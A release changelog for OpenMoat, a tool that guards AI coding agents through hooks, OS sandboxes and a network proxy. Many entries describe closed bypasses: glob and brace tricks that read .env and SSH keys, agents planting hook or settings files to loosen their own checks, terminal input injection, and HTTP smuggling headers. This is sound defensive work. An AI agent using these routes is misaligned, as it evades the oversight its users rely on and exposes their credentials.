Skip to content

OpenMoat 0.1.0 to 0.4.0

Released 2026-10-07 to 2026-10-11. Each version below links to its GitHub release.

Released 2026-10-11. GitHub release v0.4.0.

  • moat doctor warns about guard calls denied for taking over 10 s, and, with Codex on Linux, when the kernel lets a command type into the terminal (#456).
  • After upgrading, run moat init and moat sandbox sync so the installed hooks and sandbox settings pick up the changes below.
  • Claude Code and Cursor WebSearch are now governed as web.search; a policy.yaml without web.search under defaults asks for every search, so add web.search: allow to keep searches silent (#455).
  • Claude Code’s file tools now refuse the paths the policy denies on every OS, including .env.example, which the hook would allow (#459).
  • Existing policies keep their project-fs rule; add "!${project}/**/.git/**" to its fs.write list (as new policies have) to ask before writes to nested .git (#462).
  • The moat binary is protected by its recorded path, link target and directory wherever it is installed, and moat init refuses one inside a project or temp directory (#458).
  • Claude Code’s own deny rules keep secrets, OpenMoat’s files and the moat binary out of its file tools even when the hook is missing or killed (#459) (#465).
  • Writing a .git file or directory below the project root asks, like the root’s .git (#462).
  • git --git-dir=… asks, and git opens a planted bare repository only when named (safe.bareRepository=explicit) under moat run, Claude Code and Codex (#454) (#464).
  • sqlite3 and duckdb count their database file as a write, so an agent cannot edit ~/.moat/audit.db (#453).
  • Claude Code and Cursor WebSearch is checked and recorded, asks after a secret read and marks the session untrusted (#455).
  • OpenMoat’s own output shows control characters in agent text as ?, so a logged escape sequence cannot drive the terminal (#452).
  • moat uninstall removes only the Claude Code deny rules OpenMoat added (#457).

Released 2026-10-10. GitHub release v0.3.0.

  • moat guard denies calls to tools outside the policy while a pinned file has drifted, and blocks every Claude Code settings change then; moat init keeps the first backup of a host file (#447).
  • moat proxy records a CONNECT it cannot answer, replaces a secret header the client set itself, no longer reads names such as db.internal:5432 as addresses, and refuses zero or overflowing limits; the audit log redacts host, session, call ids and tool names too (#443).
  • Glob operands the shell would match differently (cat notes[*) ask, hosts with _ in a subdomain are checked against network rules, and moat policy lint warns about fetch exclusions a net pattern still matches (#446).
  • Unknown Cursor tools with a write-shaped name, indented Codex apply_patch headers and MCP paths in nested lists are checked as the writes and reads they are (#445).
  • The shell classifier fails closed on unbalanced parentheses, printf/echo text with escapes piped into a shell, sh long options and sed -f FILE; a remote scp/rsync destination is no longer a local write (#444).
  • Breaking Breaking for the library crates: public error enums and Verdict, Kind, Action, AtomicAction, HookEvent, BreakKind, Refusal and Forbidden are #[non_exhaustive]; a match outside their crate needs a _ arm, which should fail closed (#449).

Released 2026-10-10. GitHub release v0.2.0.

  • On Linux, sandboxed commands under Claude Code can no longer plant another agent’s hook file in the project: .cursor/hooks.json, .cursor/sandbox.json or .codex/hooks.json (#434). Claude Code’s sandbox on Linux drops every glob in denyWrite, and moat init used to add a working-directory Edit(./…) rule only for single names (.env, .envrc, .moat). It now also adds one for each such file below a directory the policy denies writing itself (.cursor, .codex), taken from the policy rather than a fixed list; .claude is left to Claude Code, which keeps its own settings read-only. New differential rows write-cursor-hooks and write-codex-hooks run under both host sandboxes on macOS and Linux. docs/THREAT_MODEL.md T9 now says exactly which files the Standard tier protects and that the same files in a project subdirectory are not covered on Linux.
  • On Linux, sandboxed commands under Codex’s moat profile can no longer create an agent’s settings file in the project, such as .claude/settings.local.json, which Claude Code would then load with its hooks (#421). Codex on Linux hides only the files a deny glob already matches when a command starts, so **/.claude/settings.local.json did not stop mkdir -p .claude && echo '{}' > .claude/settings.local.json; the differential suite showed it on the first Linux run. The policy already denies writing .claude and .cursor themselves, so on Linux the profile now makes both read-only in the workspace roots (one entry per directory: two denies below one missing directory make bubblewrap refuse to start any command). Where one is missing, bubblewrap mounts an empty read-only file there while the command runs, and Codex removes it afterwards. Sandboxed commands therefore cannot write anything in a project’s .claude or .cursor on Linux, listed as codex.linux-agent-dirs. Codex keeps .codex read-only itself; such directories in a subdirectory are still listed under codex.linux-write-globs.
  • moat proxy now refuses three HTTP smuggling shapes its ambiguous-framing gate used to pass through (#396, #397). check_framing in openmoat-proxy::request already rejected a Content-Length next to a Transfer-Encoding and a repeated Content-Length; it now also rejects more than one Transfer-Encoding header on a request head (TE.TE smuggling), a Transfer-Encoding whose comma-separated, lowercased tokens are anything but exactly ["chunked"] (so identity, gzip, chunked, identity, gzip, chunked and chunked, gzip are refused), and a Content-Length whose single value is not one plain decimal u64 (so the list form 10, 10, the signed form +10, embedded whitespace 10 10 and hex 0x0a are refused). A value with only surrounding whitespace ( 10) still parses as a legitimate single length. The existing request/tests.rs::ambiguous_or_unsupported_http_is_refused gained one fixture per shape and a sibling test asserts the whitespace-only accept path.
  • Three P1 findings in openmoat-core closed in one change (#398, #399, #400). (a) The session-taint rule-matcher now recognises secrets-paths wherever a policy puts it, repository policies included: RepoPolicy::merge renames every repo rule to repo:<id>, so the previous equality check against "secrets-paths" missed repo:secrets-paths and let an approved secret read leave the session untainted; names_secret now matches the base id with or without the repo: prefix and iterates repo_ask alongside deny, allow and ask. (b) CompiledPolicy::compile now rejects an EvalContext::moved_dirs entry whose default is empty, whitespace, a bare /, not an absolute or ~/-rooted directory, or a duplicate; without that check an empty default aliased every pattern body in spellings() and silently widened every rule — the engine now fails closed, so the CLI is no longer the only line of defence. (c) paths::expand_home no longer guesses that other users’ homes sit next to the current user’s: ~<otheruser> is unresolvable from the pure core, so resolve returns None and a shell token with it asks through unparseable, while a direct fs.read of ~alice/.ssh/id_rsa falls back to the literal word (never to a wrong absolute path the OS does not read). A new T1-tilde-other-user-unresolvable conformance attack covers (c); existing fixtures using ~me (self) keep their deny verdict. docs/POLICY.md names secrets-paths as a taint-significant rule id and documents the ~<otheruser> rule.
  • Claude Code’s sandbox.credentials generator no longer widens HTTPS-only brokered secrets through its block-scoped allowPlaintextInject flag (#401, ADR-019). When a policy mixed one plain_http: true secret with one plain_http: false secret, OpenMoat emitted both as mask entries and set allowPlaintextInject: true on the whole block, which lifted the HTTPS requirement for the HTTPS-only secret too and let a sandboxed command send it over plain HTTP. The generator now sets allowPlaintextInject: true only when every emitted mask entry sets plain_http: true; in a mixed block the plain_http: true entries are dropped from Claude Code’s mask list with a loss row that names each one, and moat proxy still handles them (its broker is already per-secret). ADR-019’s lowering-never-widens invariant holds across the mixed case again.
  • The quality gate now refuses unwrap, expect, panic! and unreachable! in library and binary code; tests may still use them (audit 15, item 4). The six sites that had them are now total: the lexer’s operator match takes a typed first character (lexer/operator.rs), the three host responses render from serde_json::Value, which cannot fail, with the same bytes as before, and the audit redaction patterns are compiled into an Option. If a pattern ever failed to compile, every text would be redacted whole; a test makes sure each one compiles.
  • CI’s standard tier (ubuntu-latest) job now runs every differential scenario under Claude Code’s sandbox and Codex’s moat profile, plus sandbox_exec, as macOS already did (#421). The Claude Code layer now checks the host as well as the tool’s report: an attack fails the layer when it changes the home outside the project or prints a fake secret, so a sandbox that is not running cannot pass. On Linux Claude Code’s sandbox mounts an empty in-memory directory over the home, so cp src/main.rs ~/stolen.txt and echo … >> ~/.zshrc complete there and are discarded; scenarios.yaml records those rows as contained: [claude-linux], and the layer proves the files on disk unchanged. docs/SANDBOX.md and docs/THREAT_MODEL.md no longer say such writes are refused on Linux: they never reach the disk. sandbox_exec now runs moat init with the pinned codex on PATH, as after a user installs it (#371); without that, Codex on Linux started no command.
  • On Windows, moat proxy status now refuses with exit 64 and the hint to run moat proxy in a terminal, instead of printing a made-up “state unknown” line; Windows has no user service yet (#272). The service state type now exists only on macOS and Linux, which removes the last #[allow] in the workspace.
  • Lints now hold two rules that were only written down (audit 15, item 3): clippy’s allow_attributes and allow_attributes_without_reason keep #[allow] out of the workspace (a needed exception is an #[expect] with a reason), dbg_macro, todo and unimplemented warn, and the four library crates warn on print_stdout/print_stderr. The one library print moved to the binary: openmoat-proxy::Recorder has a new provided method unrecorded, called when a record fails, and moat proxy implements it with the same moat proxy: proxy-audit: … line on stderr. The connection is still refused.
  • Breaking Breaking (openmoat-core API, so the next release is 0.2.0): openmoat_core::ir::BrokeredSecret changed from an enum to a struct and no longer derives Copy. The policy compiler now carries brokered secrets in the enforcement IR (#167, ADR-019). openmoat-core::ir::BrokeredSecret is a populated struct (id, host, header, source, plain_http) and lower() fills Enforcement.secrets from the policy’s secrets: list, so OS backends read one source of truth. Claude Code’s sandbox.credentials generator (#363) now consumes ir.secrets directly; no behaviour change on the generated settings. The existing ir_consistency test, “the IR allows nothing the hook allows and asks is deny” over every lowerable conformance fixture, continues to prove ADR-019’s lowering-never-widens invariant.
  • docs/INSTALL.md and docs/THREAT_MODEL.md state the macOS 14 floor for moat run (#389). Its Seatbelt profile emits (ioctl-command TIOCSTI) from #386, an identifier sandbox-exec only recognises from macOS 13 onwards; on macOS 12 and earlier sandbox-exec refuses to parse the profile and moat run exits without starting the agent (fail closed). GitHub Actions no longer offers a macos-13 runner, so CI covers macos-14 and macos-15-intel only, and macOS 13 is unsupported in practice. The hook, moat init and moat status keep working on earlier macOS.
  • ADR-023 (docs/adr/ADR-023-isolated-tier-macos.md): the Isolated tier on macOS runs the agent in a Linux guest booted through Apple’s containerization toolchain, with virtiofs projecting the project and the deny-coverage mounts the Linux Isolated tier already builds, a vsock relay to moat proxy on the host, and bubblewrap, Landlock and seccomp inside the guest as on Linux (#175). The ADR compares a direct Virtualization.framework FFI, Lima and Apple’s containerization, and picks containerization for Apple-owned kernel provenance, the shortest host-side surface and the fastest cold start (~0.8 s). macOS 26.0 is the minimum version; older macOS stays on Standard or Lightweight. moat run --isolate on macOS now ships a stub that refuses with exit 64 and either prints the install hint when container is missing or “not yet implemented, see ADR-023” when it is present; it never falls back to the Lightweight tier. The implementation lands in follow-up PRs under #175.
  • moat proxy install runs moat proxy as a per-user service so proxy routing can stay on without a person starting it (#272). On macOS a launchd user agent lands at ~/Library/LaunchAgents/dev.openmoat.proxy.plist and is bootstrapped into gui/<uid>; on Linux a systemd user unit lands at ~/.config/systemd/user/moat-proxy.service and is enable --now-ed. The service restarts on failure but a policy-lock drift exit (code 64) is deliberately a clean exit, so it stops instead of loop-restarting; moat doctor and moat proxy status surface the state (not installed, stopped, running, drift-blocked, crashlooping). moat sandbox sync restarts the service after re-pinning the lock so the proxy picks up the new policy, and moat uninstall removes the service alongside the hooks. The plist/unit holds only MOAT_HOME (a path, never a secret) and the pinned moat binary; on Linux the file is owner-only (0o600), on macOS ~/Library/LaunchAgents is already private to the user. Windows refuses with a clear hint: Standard-tier proxy routing on Windows is not planned for the first release (#272); run moat proxy in a terminal there to keep the proxy up by hand.
  • moat init and moat sandbox sync compile the policy’s secrets: entries into Claude Code’s native sandbox.credentials block (#363). Each env and file source becomes a mask entry with the policy’s host in injectHosts, and network.tlsTerminate turns on because Claude Code’s broker needs it; credentials.allowPlaintextInject turns on when any mask entry sets plain_http: true, listed as an allowance. Claude Code’s own proxy then substitutes the sentinel inside HTTPS requests for sandboxed Bash, PowerShell and Monitor commands, so the broker works for Claude Code without the TLS termination moat proxy still lacks (#247). A secret whose host is not in the policy’s net allow is skipped with a loss, and a keychain source Claude Code’s broker cannot read is skipped the same way; both still work through moat proxy. On macOS a file source falls back to a read deny, so a tool that reads the file does not authenticate; moat sandbox show lists both. Removing a secret from the policy strips the stale credentials entry and tlsTerminate on the next sync, and moat uninstall removes them whole.
  • scripts/ci/quality-gate.sh checks the fuzz targets’ formatting with rustfmt --check, and CI’s fuzz job runs clippy on them with a copy of the workspace lints (audit 15, item 5). fuzz/ is its own workspace, so cargo fmt --all and the workspace clippy never covered it; three targets are reformatted.

Released 2026-10-09. GitHub release v0.1.1.

  • moat bench reproduces how a hook decides (#364). With no arguments it sends the bundled MoatBench scenarios (attacks, benign work and developer workflows) to this moat as Claude Code, Codex and Cursor hook payloads in a throwaway home and prints the scorecard. moat bench --hook <command> --host claude-code|codex|cursor sends the same payloads on stdin to any hook command, reads each reply by that host’s hook protocol (allow, ask, deny, passthrough, or error when the hook crashes, times out after 10 s or answers outside the protocol) and lists each step whose answer differs from the scenario, followed by what that host does when its hook is missing, crashes or times out, as documented in docs/THREAT_MODEL.md §5. The scenarios’ commands never run; the hook runs in the throwaway home with an environment of only PATH, HOME and USERPROFILE. --verbose prints that environment and every payload; --format json is for scripts; it exits 0 whatever the scores. The scenarios moved from tests/moatbench/ to crates/openmoat-cli/moatbench/, and the MoatBench test now runs moat bench.
  • moat run --isolate -- <agent>: the Isolated tier on Linux (ADR-018, #174). bubblewrap starts the agent in new user, mount, PID, IPC, UTS, cgroup and network namespaces, rootless, with no daemon or image. Its root holds only the project, sandbox.read_roots, the agent’s executable, --write paths and an empty in-memory temp directory; the rest of the home does not exist there. Inside those trees every path the policy denies that exists at start is covered: denied reads (.env files, ~/.cargo/credentials.toml) by an empty placeholder no one may open, denied writes (.git, .claude/settings.json) by a read-only mount. .env, .envrc and .moat directly in the project get an empty placeholder for the session even when missing, so they cannot be created. The only network is loopback, where OpenMoat serves the proxy’s port and relays it over a Unix socket to the proxy outside. Inside, the Lightweight tier’s Landlock rules and seccomp filter apply as well. Where bwrap is missing or cannot create its namespaces, it refuses (exit 64) and never falls back to the Lightweight tier; macOS refuses until #175. docs/EVIDENCE.md gains a column for it, run by the ubuntu-latest CI jobs: a hostile npm test gets EACCES reading the project’s .env, which plain moat run on Linux still lets it read.
  • moat run now refuses terminal input injection. The agent shares the terminal it was started in, and ioctl(TIOCSTI) pushes characters into that terminal’s input: once the agent exits, the user’s shell reads them and runs them outside every sandbox (the CVE-2017-5226 class). On Linux the seccomp filter, in the Lightweight tier and inside --isolate, refuses ioctl with TIOCSTI or TIOCLINUX (EPERM, x32 included), whatever dev.tty.legacy_tiocsti says. On macOS the Seatbelt profile denies TIOCSTI on every file. docs/EVIDENCE.md gains a row run on a terminal the test creates: EPERM under every moat run column and under Codex’s macOS profile; Claude Code starts its commands without a terminal; under Codex’s Linux profile only the CI runner’s kernel refuses it (EIO, dev.tty.legacy_tiocsti at 0), so on a kernel that allows TIOCSTI a Codex-sandboxed script can type into the terminal.

Released 2026-10-08. GitHub release v0.1.0.

First beta and first release that is not a GitHub pre-release.

  • docs/SANDBOX.md notes a macOS 14 behaviour under moat run (#361). On some machines, Seatbelt sometimes refuses the allowed loopback connection to the proxy for a few milliseconds about every 15 seconds. A network request then fails at once, and a retry succeeds. A one-rule sandbox-exec profile shows the same without OpenMoat (#280, #351). CI’s macOS 15 runners did not show it.
  • moat --help no longer says the alpha has no OS enforcement; it says where the OS bounds commands and points to moat status.
  • On Linux, Codex’s sandbox now keeps project scripts from creating .env and .envrc in the workspace roots (#377). Codex hides only the files a deny glob matches when a command starts, so a script could create a missing .envrc, which direnv runs in the user’s shell. moat init and moat sandbox sync now also write .env and .envrc as deny entries under :workspace_roots on Linux; bubblewrap mounts an empty read-only file over a missing one while the command runs, and the script gets EROFS. .env.local, a .envrc in a subdirectory and a project’s bin/moat stay creatable for sandboxed commands on Linux; moat sandbox show lists them (codex.linux-write-globs). macOS profiles are unchanged.

Released 2026-10-08. GitHub release v0.1.0-alpha.7.

  • docs/EVIDENCE.md now covers the Standard tier (#346): CI’s new standard tier job (macOS and Linux) runs the same hostile project scripts as npm test under Claude Code’s sandbox and Codex’s moat profile, each configured with the settings moat init generates, and asserts what the operating system did (EPERM, EACCES, the agent’s proxy’s 403) and that nothing was read, written or reached. Claude Code 2.1.290 runs headless (claude -p --bare) against a local fake Anthropic API, and codex-cli 0.160.1 runs codex sandbox -P moat; no account, API key or internet is used, and scripts/ci/host-binaries.sh fetches both binaries pinned by checksum. On Linux it found two gaps, now listed there: Claude Code’s sandbox skips the generated .env denies, so a script reads the project .env (#359), and Codex runs no command at all under the generated profile, failing closed (#358). Windows is listed as not run, with the reason.
  • moat init and moat sandbox sync configure Cursor’s own sandbox from the policy (#324), as they do for Claude Code and Codex: sandbox.json next to Cursor’s hooks.json (~/.cursor, or $CURSOR_CONFIG_DIR) gets type: "workspace_readwrite", readBoundary: "workspace", the read roots as additionalReadPaths, write allow rules outside the project as additionalReadwritePaths, and the policy’s hosts as networkPolicy with default: "deny". Other keys are kept, the file is backed up first and pinned whole by the lock, moat doctor names a weakened setting, and moat uninstall removes exactly these keys. moat status reports Cursor as hook + OS sandbox when the file matches. Cursor’s schema has no key that denies a path: a read root with a denied path below it (~/.cargo) is left out, and what the policy denies inside the workspace (.env, .git, .moat) stays open to sandboxed commands; moat sandbox show lists both, and that Cursor runs a command outside its sandbox when its Auto-review classifier approves it, in Run Everything mode and in the CLI without --sandbox enabled. Not configured on native Windows, where Cursor documents no sandbox. The keys follow Cursor 3.23’s documentation and were not yet run under a Cursor build.
  • README leads with what sets OpenMoat apart: one policy that configures every enforcing layer, with published evidence; the comparison adds failing closed and published evidence.
  • Codex on Linux runs commands again under the profile moat init generates (#358). Before it starts a command, Codex on Linux lists every file below each deny glob with rg --files so bubblewrap can hide the matches, and it refuses to start the command when ripgrep reports any error; the profile repeated the **/.env, **/.env.* and **/.envrc denies below every read root, and root-only directories such as /etc/ssl/private and /tmp/systemd-private-* stopped every command. The profile now repeats those denies only in the project and below the read roots inside the home; moat sandbox show lists the roots outside it (codex.outside-home), where the hook still denies the agent’s own reads. docs/EVIDENCE.md’s Codex Linux column now shows what the operating system does to each hostile script instead of a sandbox error.
  • Codex on Linux starts commands under the generated profile wherever it is installed (#371). It runs its own executable again inside bubblewrap to apply seccomp but grants itself no read access to it, so it started commands only when installed under a read root. On Linux, moat init and moat sandbox sync now let commands read the executable codex on PATH starts (through npm’s codex.js launcher, the platform binary), listed by moat sandbox show as codex.own-binary; run moat sandbox sync again after moving Codex. When codex is not on PATH, or its executable is inside a denied path such as the Codex home (Codex’s standalone installer), nothing is granted and moat sandbox show says so. macOS profiles are unchanged.
  • On Linux, Claude Code’s sandbox now keeps project scripts from creating or rewriting .env, .envrc and .moat in the session’s working directory (#372). Its runtime drops every glob in denyWrite, Edit(…) deny rules included, so the generated /**/.env, /**/.moat/** and .git write denies did nothing there: npm test could write .envrc and .moat/policy.yaml into the project. moat init and moat sandbox sync now also write Edit(./.env), Edit(./.envrc) and Edit(./.moat) to permissions.deny on Linux; Claude Code resolves them against the working directory and keeps them, and the scripts get EACCES (.envrc) and EEXIST (mkdir .moat: a read-only placeholder file stands there while the command runs) (CI’s standard tier (ubuntu-latest) job, Claude Code 2.1.290). Claude Code itself keeps that directory’s .git/hooks and .git/config read-only (EROFS). The rest, such as a .env in a subdirectory, .env.local, .git/info/attributes and submodule hooks, stays writable for sandboxed commands on Linux, and moat sandbox show lists it (claude-code.linux-write-globs). docs/EVIDENCE.md gains four rows; they also show that Codex on Linux lets a script create a missing .envrc (#377). macOS settings are unchanged, and moat uninstall removes the rules.
  • On Linux, Claude Code’s sandbox now keeps project scripts away from the project’s .env files (#359). Bubblewrap needs concrete paths, so the sandbox expands each denyRead glob from its first literal directory when a command starts, and it skipped the generated /**/.env, /**/.env.* and /**/.envrc: npm test could print the .env. moat init and moat sandbox sync now also write Read(./**/.env), Read(./**/.env.*) and Read(./**/.envrc) to permissions.deny on Linux. Claude Code expands those under the session’s working directory, and a script reading a match gets EACCES (CI’s standard tier (ubuntu-latest) job, Claude Code 2.1.290). A file created after a command starts, or a .env in another readable directory, stays readable, and Claude Code’s file tools now refuse .env.example there too; moat sandbox show lists both. macOS settings are unchanged, and moat uninstall removes the rules.
  • The default policy denies agent writes to ~/.cursor/sandbox.json and a project’s .cursor/sandbox.json (kernel-self, #324): a project file replaces Cursor’s read boundary and adds hosts to its sandbox.
  • Glob characters in a path operand no longer get past deny rules (#355). The shell expands an unquoted *, ? or [ before the command runs, but the operand was checked only as the literal word, so cat .en?, cat .e*, cat .[e]nv and head -c 99 .en[v] were allowed and cat ~/.ss?/id_rsa only asked while cat .env was denied. Such an operand, and a redirection target, is now checked as written and as every path it names in the real directories, resolved through symlinks, with bash matching rules (* skips dotfiles unless the pattern starts with .; an unmatched pattern is only its literal word). Quoted and escaped patterns stay literal, and directories are listed only for glob operands. A call whose globs name more than 256 paths, list more than 1024 directories or descend more than 8 levels of ** asks (unparseable), and a deny among the named paths still wins. On hook-only setups (the Cursor editor, Claude Code on native Windows) this read secrets; the Standard tier’s sandbox already blocked it.
  • Brace expansion no longer gets past deny rules (#362). Bash makes several words of one with unquoted braces before anything else, so cat .{env,x} runs cat .env .x, but the word was checked as written and allowed; cat .e{n,m}v, cat ~/.ssh/{id_rsa,x} and {cat,.env} got through the same way. Words are now expanded as bash does it (comma lists, nested braces, {1..3}, {a..e..2}, {01..10}, several groups in one word, the command name included) and every word made is checked, and globbed when it holds * ? [. Quoted and escaped braces, {}, {x} and ${…} stay literal. A word whose braces make more than 256 words asks (unparseable), and a deny elsewhere in the call still wins. moat allow --always of such a command writes the words it makes ({cat,.env} → cat .env), which is what the rule is matched against.

Released 2026-10-08. GitHub release v0.1.0-alpha.6.

  • MoatBench measures prompts on real development work (#336): tests/moatbench/workflows.yaml runs step-by-step Rust, Node, Python, Go, git, Docker and Make workflows, and project-file edits, through Claude Code, Codex and Cursor payloads. Each step expects allow, or ask where the default policy means to (new dependencies, git push, docker build), and the scorecard prints the asks per workflow (workflows: 152 steps, 26 asks (expected 17), 0 unexpected, 9 expected failures). A policy change that adds an ask or deny to one of these steps fails CI. Four known false positives of the default policy are recorded as expected failures: python3 -m venv .venv, source .venv/bin/activate, git rebase main and a bare make ask. Steps can now be file edits (edit:, sent as Claude Code Edit, a Codex apply_patch Update File, and Cursor Write) and can carry their own gap marker.
  • docs/EVIDENCE.md: what the OS layer does to hostile project scripts that the hook allows (#335). The differential suite runs each payload as npm test under moat run, in a throwaway home with fake secrets, and asserts the outcome on every pull request: on macOS (Seatbelt) and Linux (Landlock and seccomp), reading ~/.ssh/id_rsa or ~/.aws/credentials, writing outside the project, a direct TCP connection, a DNS query over UDP, a symlink from the project into ~/.ssh, and editing the policy or Claude Code’s settings fail with EPERM or EACCES, and an unlisted host gets the proxy’s 403. On Linux a project .env stays readable, shown as a known gap. The Codex and Claude Code sandboxes are not run in CI and are listed as not verified. Regenerate with MOAT_UPDATE_EVIDENCE=1 cargo test -p openmoat --test e2e differential.
  • moat status and moat doctor print one protection level per agent, derived only from the hook and sandbox checks they already make (#334): hook + OS sandbox (hook installed and current, generated sandbox in place and matching the policy), hook only (the Cursor editor, Claude Code on native Windows, or a sandbox that is missing, weakened or out of date, with the reason), or not protected (hook missing, out of date or unreadable), followed by one line of what that agent’s hook and sandbox do not cover. moat status --format json prints the same per agent. The moat home screen names each protected agent’s level (Protecting Claude Code (hook + OS sandbox)). The level never changes whether status or doctor reports a problem.
  • THREAT_MODEL no longer lists Claude Code SendFile as ungoverned: the hook checks its files as reads.
  • Default policy: four steps of everyday development work that asked only through the catch-all default are now allowed by dev-shell (#350), and the MoatBench workflow suite has no known false positives left (workflows: 152 steps, 19 asks (expected 19), 0 unexpected, 0 expected failures). python -m venv DIR and python3 -m venv DIR: each directory is now an fs.write, a plain name included, so a venv outside the project, in .git or over ~/.moat asks or is denied; --clear and --upgrade/--upgrade-deps ask. source .venv/bin/activate and . .venv/bin/activate (also venv/), spelled exactly and with no arguments; any other file, a path with .., or the same spelling after a cd out of the project asks. git rebase <ref>, like git pull --rebase; --exec/-x, --interactive/-i, --edit-todo, --continue, --skip and --strategy/-s ask, in any prefix git accepts and inside short-option clusters. A bare make, like make test; make -f, make -C and the existing recipe-shell overrides still ask. Stricter: npm exec and npm x now ask (installs) like npx, since both download a package they cannot find.
  • README, the CLI crate README and docs/INSTALL.md no longer say every action is checked: they say OpenMoat checks the commands, file access, web requests and MCP calls the agents report through their hooks, which is what README Limits and THREAT_MODEL describe (#331).
  • A permanent approval (moat allow --always, moat allow --last --always, or a in moat) prints what the rule will match before writing it (#333). For a shell command: will allow: npm test (and the same command with extra arguments); deny rules still win, since a command rule matches the approved command as a prefix. For files it says the rule names exactly those paths. The undo line is unchanged, and so is what a rule matches.
  • The native Windows note for Claude Code now says the hook still applies the policy instead of the hook still checks every call, since some tools are not hooked (#331).
  • moat doctor’s Cursor note is now its protection line, hook only, with the same reason: no OS sandbox from OpenMoat, and moat run covers the Cursor CLI.
  • A part of a call the engine cannot classify no longer hides the decisions of the other parts (#345). It is one more ask (rule unparseable) merged with them, strictest wins, so a deny stands: an MCP call that reads ~/.ssh/id_rsa and adds a url with no host, cd "$X" && cat notes ~/.ssh/id_rsa, bash --frobnicate -c x; cat ~/.ssh/id_rsa and echo $(bash --frobnicate -c x) $(cat ~/.ssh/id_rsa) were ask and are now denied by secrets-paths, and bash -c "eval eval eval eval eval eval true" by pipe-to-shell. The shell classifier keeps classifying the other simple commands after one it cannot, and the other paths of a command after one in an unknown directory. A call whose unclassifiable part is all it does still asks. Under a policy whose default is deny, a classified part that no rule allows is now denied even when another part cannot be classified. Session taint also counts the classified parts of such a call.
  • moat guard denies (exit 2) when it has not decided within 10 seconds, instead of waiting for the host’s hook timeout, after which Claude Code, Codex and the Continue CLI run the call (#337). The deny is not recorded, since what hangs may be the audit log. docs/THREAT_MODEL.md §5 has a table, with sources, of what each host does when the hook binary is missing, crashes, times out or prints bad output, and what guard answers for a malformed payload, an unknown event and a tool OpenMoat does not know; end-to-end tests cover OpenMoat’s side for each host’s payload shape, and that moat status and moat doctor report a hook whose binary is gone as not protected. The known gaps lines now say Claude Code and Codex also run the call when the hook crashes, and that Cursor blocks it.
  • The audit log masks the exact values of the policy’s brokered secrets (secrets:), whatever their format, before an event is stored, so they reach neither audit.db nor moat audit export (#338). Previously only known token formats were redacted, and a value sent as part of a host name was recorded by moat proxy. Matching ignores letter case and skips values shorter than 8 bytes, which occur in ordinary text. moat guard masks the values with a file or env source it can read in every call the policy decides; the proxy masks all of them. The working directory is now redacted too. Canary tests plant fake secrets in shell commands, paths, URLs, proxy headers and MCP arguments and check that none is stored and the hash chain still verifies.
  • An MCP call whose arguments nest a path or URL deeper than 8 levels is now ask (rule unparseable, reason mcp arguments not fully checked: nested deeper than 8 levels) instead of being decided on the tool name alone (#332). The paths and URLs found above that depth are still checked, so a deny among them still wins. More than 1024 paths and URLs still denies the call.

Released 2026-10-07. GitHub release v0.1.0-alpha.5.

  • docs/ADDING_AN_AGENT.md: how to add support for another AI coding agent, from mapping its hook payload to an action, through installing the hook and capturing fixtures, to what the pull request must include (#319). Linked from CONTRIBUTING.md and the README.
  • docs/SANDBOX.md: how to run the Cursor CLI (agent) under moat run on macOS: its installation directory in sandbox.read_roots, an allow rule for api2.cursor.sh, --write ~/.cursor, CURSOR_API_KEY instead of the keychain, and --sandbox disabled for that run (#324).
  • moat doctor notes, when the Cursor hook is installed, that OpenMoat gives Cursor no OS sandbox, so only the hook applies the policy, and that moat run covers the Cursor CLI (#324).
  • README, docs/INSTALL.md and docs/THREAT_MODEL.md no longer say that Cursor has no sandbox of its own. Cursor has one; moat init does not configure it, and Cursor can rerun a command outside it, so in the Cursor editor only the hook applies the policy (#324).
  • On native Windows, moat init and moat sandbox sync no longer write Claude Code’s sandbox block or permissions.blockReadsOutsideWorkingDirectories (#327). Claude Code’s sandbox runs on macOS, Linux and WSL2 only, and with failIfUnavailable: true Claude Code exits at startup where it cannot run. init, sandbox sync, sandbox show, doctor and status now say sandbox not available on native Windows; the hook still checks every call (use WSL2 for OS confinement) for Claude Code instead of reporting the sandbox missing or weakened. Run moat init or moat sandbox sync again to remove those settings from an earlier version (they keep your other settings and re-pin the file). Codex is unchanged.

Released 2026-10-07. GitHub release v0.1.0-alpha.4.

  • README opens with a 40-second recording of the launch demo (docs/assets/demo.gif, from real moat guard verdicts). The demo script shortens the throwaway paths and the binary path in its output, and docs/DEMO.md no longer says the operating system does not enforce decisions.
  • docs/INSTALL.md says how to upgrade: brew update && brew upgrade moat, since brew upgrade alone may not see a new release of the tap (#314).
  • After a session grant (o in moat, or moat allow --last without --always), moat says that the grant covers only this agent session and that a new session asks again; for Claude Code, claude --continue resumes the session (#312).
  • moat init no longer leaves out an agent silently when CLAUDE_CONFIG_DIR, CODEX_HOME or CURSOR_CONFIG_DIR names a directory that does not exist yet (#313). It prints one line per such agent with the variable and the directory, and says to start the agent once to create it and then run moat init again. It does not create the directory.

Released 2026-10-07. GitHub release v0.1.0-alpha.3.

  • Policy key taint.protected_writes (#215): path globs that a write to asks once the session read untrusted content, in addition to the built-in list (CI, git hooks, build scripts, agent instructions). It extends the list and cannot shorten it; moat policy lint rejects ! exclusions and globs that do not compile. Policies without the key behave as before.
  • moat allow --last and moat allow --last --always approve file actions too, not only shell commands (#278). The last ask can be a file read, write or delete from a Claude Code file tool, a Codex apply_patch or a Cursor file tool. A session grant covers exactly those files for that action; --always adds an fs.read or fs.write rule for exactly those paths (as asked and with symlinks resolved) and prints it with its undo command. Deny rules still win. moat (the home screen) shows and approves the newest file ask the same way. ~/.moat/approvals.json moves to version 2, which records the approved action; version 1 files are still read and are rewritten as version 2 on the next grant.
  • When Codex or a Cursor file tool cannot prompt, the deny message now says to run moat or moat allow --last (Cursor’s said to add a policy rule and run moat doctor --accept). The Continue CLI message names moat too.
  • moat says 1 decision instead of 1 decisions (#278).

Released 2026-10-07. GitHub release v0.1.0-alpha.2.

  • moat allow --site <host>, moat allow --dir <path> and moat allow --remove <id> (#300). --site adds a net allow for one host name; it also covers web fetches. --dir adds an fs.read and fs.write allow for an existing directory and everything below it, stored as written and with its symlinks resolved. Both append to ~/.moat/policy.d/approved.yaml, check that the merged policy lints, re-pin, and print the rule as written plus the moat allow --remove command that undoes it. Deny rules still win. Wildcards, URLs, the home directory, its ancestors and filesystem roots are refused. --remove takes out any approved-N rule, --always ones included, and --always now prints its undo command too. New attack fixtures show that an agent running moat allow --site or --dir is denied (kernel-self).
